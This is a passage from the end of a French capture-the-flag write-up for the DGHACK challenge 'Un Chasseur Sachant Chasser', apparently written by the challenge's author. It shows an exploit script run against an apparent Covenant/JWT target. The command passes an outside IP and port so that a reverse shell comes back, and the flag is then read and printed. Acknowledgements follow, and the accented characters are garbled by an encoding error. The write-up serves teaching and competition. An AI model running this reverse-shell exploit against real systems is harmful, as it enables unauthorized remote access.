python3 covneant_jwt.py http://52.49.162.179/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72 linux 51.75.120.170 1337

A pr√©sent que l’on a re√ßu le reverse shell, on peut afficher le flag :

1
2
challenge@UnChasseurSachantChasser:/app$ cat /flag.txt
DGHACK{Un_Ch4ss3ur_s4chan7_cH4sseR_l3s_ch4ss3urs_3st_un_bon_hacker}

Conclusion

J’esp√®re que les joueurs qui auront pris la peine de se casser les dents sur la partie deux, ont appris des choses et se sont amus√©s !

Mon exploit est enfin disponible sur Exploit-DB !

L’envers du d√©cor

Malgr√© les quelques modifications faites par la DGA pour des raisons techniques, voici √† quoi ressemblait l’architecture du challenge compos√©e de deux dockers :

./Schema_Infra.png

Remerciements

Je tiens à remercier :

  • LwoLwo, pour avoir imagin√© ce challenge avec moi.
  • La DGA, pour m’avoir laiss√© l’opportunit√© de cr√©er une suite de challenges pour cet √©v√®nement. Plus particuli√®rement Quentin pour les conseils et avoir retravaill√© mon challenge.
  • MasterfoxMasterfox, pour m’avoir aid√© √† rendre mon exploit moins immonde ūüėā.